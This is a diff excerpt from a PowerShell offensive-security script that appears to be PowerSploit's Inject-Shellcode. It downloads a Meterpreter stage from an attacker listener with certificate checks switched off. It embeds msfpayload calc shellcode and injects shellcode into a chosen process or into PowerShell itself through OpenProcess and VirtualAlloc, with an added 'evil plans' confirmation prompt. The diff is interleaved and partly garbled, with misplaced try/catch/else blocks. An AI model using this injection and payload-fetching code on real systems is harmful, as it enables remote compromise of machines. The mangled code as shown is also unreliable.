# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } }
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||||
try {
|
||||
|
||||
try
|
||||
{
|
||||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
} catch {
|
||||
Write-Warning "Unable to connect to $Request"
|
||||
return
|
||||
}
|
||||
} else {
|
||||
catch
|
||||
{
|
||||
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
||||
}
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
|
||||
}
|
||||
elseif ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
[Byte[]] $Shellcode32 = $Shellcode
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
}
|
||||
else
|
||||
{
|
||||
# Pop a calc... or whatever shellcode you decide to place in here
|
||||
# I sincerely hope you trust that this shellcode actually pops a calc...
|
||||
# Insert your shellcode here in the for 0xXX,0xXX,...
|
||||
# 32-bit payload
|
||||
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
|
||||
@@ -415,7 +622,9 @@ function Inject-Shellcode {
|
||||
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
|
||||
}
|
||||
|
||||
if ($Remote) {
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Inject shellcode into the specified process ID
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
@@ -433,9 +642,16 @@ function Inject-Shellcode {
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
|
||||
} else {
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Inject shellcode into the currently running PowerShell process
|
||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||
@@ -450,8 +666,12 @@ function Inject-Shellcode {
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
Inject-LocalShellcode
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-LocalShellcode
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user